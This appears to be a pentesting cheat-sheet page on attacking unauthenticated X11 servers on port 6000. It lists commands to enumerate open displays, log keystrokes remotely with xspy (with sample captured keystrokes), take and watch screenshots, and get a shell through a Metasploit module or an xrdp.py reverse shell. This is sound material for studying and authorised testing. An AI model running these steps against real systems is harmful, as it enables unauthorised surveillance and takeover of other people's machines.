6000 - Pentesting X11

Basic Information
The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.
From: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref​
Default port: 6000
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PORT       STATE   SERVICE
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6000/tcp   open    X11
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Enumeration
Check for anonymous connection:
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nmap -sV --script x11-access -p <PORT> <IP>
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msf> use auxiliary/scanner/x11/open_x11
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Verfy Connection
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xdpyinfo -display <ip>:<display>
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xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
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Keyloggin
​xspy to sniff the keyboard keystrokes.
Sample Output:
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xspy 10.9.xx.xx
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​
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opened 10.9.xx.xx:0 for snoopng
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swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
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qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
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Screenshots capturing
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xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
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convert screenshot.xwd screenshot.png
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Remote Desktop View
Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref​
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./xrdp.py <IP:0>
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Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html​
First we need to find the ID of the window using xwininfo
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xwininfo -root -display 10.9.xx.xx:0
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​
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xwininfo: Window id: 0x45 (the root window) (has no name)
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​
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Absolute upper-left X:  0
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Absolute upper-left Y:  0
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Relative upper-left X:  0
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Relative upper-left Y:  0
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Width: 1024
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Height: 768
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Depth: 16
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Visual: 0x21
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Visual Class: TrueColor
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Border width: 0
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Class: InputOutput
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Colormap: 0x20 (installed)
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Bit Gravity State: ForgetGravity
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Window Gravity State: NorthWestGravity
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Backing Store State: NotUseful
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Save Under State: no
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Map State: IsViewable
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Override Redirect State: no
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Corners:  +0+0  -0+0  -0-0  +0-0
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-geometry 1024x768+0+0
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XWatchwin
For live viewing we need to use
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./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
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./xwatchwin 10.9.xx.xx:0 -w 0x45
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Get Shell
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msf> use exploit/unix/x11/x11_keyboard_exec
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Other way:
Reverse Shell: Xrdp also allows to take reverse shell via Netcat. Type in the following command:
./xrdp.py <IP:0> –no-disp

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It will prompt a new control pane where we can see the R-shell option, which is illustrated below:
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We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:
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Then add the IP and port and then select R-Shell, which is illustrated below:
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Now as can be seen below we have complete system access:
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Exploiting X11 unauthenticated access - Infosec Resources
Infosec Resources
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port:6000 x11

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Screenshots capturing

Remote Desktop View

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